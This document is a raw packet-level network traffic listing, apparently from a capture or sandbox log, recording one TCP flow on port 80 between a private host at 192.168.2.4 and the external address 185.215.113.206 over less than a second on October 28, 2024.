Oct 28, 2024 08:17:38.590810061 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590826035 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590828896 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590859890 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590866089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590866089 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590874910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.590903997 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.590903997 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.591022015 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.591037989 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.591065884 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.591084003 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.591084003 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.591099024 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.591113091 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.591123104 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.591128111 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.591136932 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.591142893 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.591156960 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.591165066 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.591165066 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.591181993 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.591192961 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.591279030 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.591335058 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.591344118 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.591355085 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.591379881 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.591382027 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.591398001 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.591417074 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.591417074 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.591454029 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.630402088 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.630419970 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.630434990 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.630456924 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.630490065 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.631753922 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.631778002 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.631792068 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.631804943 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.631839991 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.631850004 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.631864071 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.631876945 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.631899118 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.631907940 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.631918907 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.631953955 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.631953955 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.631978035 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.632006884 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.632021904 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.632035017 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.632051945 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.632080078 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.632080078 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.674638987 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.674662113 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.674678087 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.674696922 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.674736023 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.706691027 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.706701040 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.706712961 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.706729889 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.706743002 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.706760883 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.706799030 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.708462000 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.708503962 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.708515882 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.708532095 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.708554983 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.708558083 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.708568096 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.708591938 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.708595037 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.708616018 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.708648920 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.708686113 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.708686113 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.708693981 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.708704948 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.708729029 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.708750010 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.708750010 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.708764076 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.708764076 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.708775997 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.708817005 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.708817005 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.708868027 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.708878040 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.708890915 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.708900928 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.708921909 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.708921909 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.708962917 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.708997965 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709009886 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709023952 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709038019 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709041119 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709041119 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709064960 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709086895 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709120989 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709120989 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709158897 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709187031 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709202051 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709219933 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709220886 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709248066 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709279060 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709291935 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709300995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709321976 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709321976 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709336996 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709361076 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709371090 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709382057 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709393024 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709413052 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709413052 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709433079 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709492922 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709568977 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709572077 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709661007 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709686995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709697008 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709707022 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709717035 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709724903 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709732056 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709743023 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709753990 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709764004 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709764004 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709779024 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709822893 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709887028 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709897041 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709907055 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709934950 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709940910 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709940910 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.709945917 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709956884 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.709975958 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710000992 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710074902 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710170031 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710184097 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710189104 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710201979 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710212946 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710221052 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710221052 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710223913 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710236073 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710243940 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710244894 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710244894 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710262060 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710287094 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710411072 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710444927 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710478067 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710484028 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710499048 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710521936 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710544109 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710565090 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710577011 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710587025 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710596085 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710602999 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710625887 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710644007 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710715055 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710726023 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710736036 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710752964 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710777998 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710777998 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710824966 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710835934 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710850954 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710860968 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710861921 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710870981 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.710891008 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710891008 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.710916042 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.750274897 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.750307083 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.750318050 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.750473022 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.750473022 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.751213074 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.751235008 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.751245975 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.751269102 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.751283884 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.751370907 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.751382113 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.751398087 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.751409054 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.751419067 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.751425028 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.751431942 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.751431942 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.751471043 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.751507044 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.751517057 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.751527071 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.751544952 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.751573086 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.794011116 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.794023037 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.794030905 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.794176102 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.794176102 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.826133966 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.826162100 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.826175928 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.826206923 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.826227903 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.828208923 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828250885 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828294992 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828299046 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.828308105 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828366041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.828380108 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828391075 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828393936 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.828403950 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828425884 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828432083 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.828437090 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828448057 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828448057 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.828470945 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828474998 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.828481913 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828494072 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828505039 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828516006 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828516006 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.828516006 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.828533888 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.828562021 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.828583956 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828622103 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.828680038 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828691959 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828705072 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828733921 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.828733921 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.828766108 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.828768969 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828789949 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828815937 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828824997 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.828826904 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828836918 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.828840017 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828851938 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.828860998 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.828860998 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.828887939 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.828980923 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829045057 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.829072952 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829085112 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829097986 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829108953 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829113007 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.829121113 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829133034 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829138041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.829138041 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.829144001 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829169989 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.829190016 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.829349995 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829396009 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829400063 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.829410076 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829446077 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.829446077 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.829452991 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829466105 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829477072 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829488993 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829504967 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.829504967 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.829514980 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.829539061 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.829567909 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829580069 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829591036 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829603910 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829607010 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.829616070 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829622030 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.829628944 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829653978 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.829655886 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829683065 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.829690933 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.829705954 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829718113 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829727888 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829740047 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.829754114 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.829754114 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.829777002 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.830003023 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.830049992 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.830055952 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.830073118 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.830085039 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.830096960 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.830102921 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.830102921 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.830117941 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.830158949 CET	49766	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:38.830255985 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.830267906 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.830279112 CET	80	49766	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:38.830302954 CET	49766	80	192.168.2.4	185.215.113.206
